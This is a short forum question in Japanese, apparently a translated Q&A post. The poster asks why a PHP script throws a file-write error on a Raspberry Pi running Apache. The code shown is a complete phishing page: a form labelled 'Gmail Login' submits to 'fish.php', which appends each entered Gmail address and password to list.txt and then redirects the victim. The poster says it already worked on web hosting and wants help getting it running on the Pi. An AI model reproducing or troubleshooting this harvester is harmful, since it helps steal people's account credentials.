PHP を使用してテキスト ファイルに書き込もうとしています。
私はこのフォームを持っています
<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>
このPHPファイルもあります
<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
header("Location: index.html");
}
}
else {
die('no post data to process');
}
今、私はこれを Web ホスティングで使用しましたが、完全に正常に動作します。次に、Apache、PHP、および必要なものがすべてインストールされたLinuxを実行しているラズベリーパイに配置しましたが、本来のようにホームページにリダイレクトされるのではなく、「このファイルの書き込み中にエラーが発生しました」というメッセージが表示され続けます。
私はすべて同じファイルを持っていますが、何が問題なのか誰か推測できますか?
ありがとう!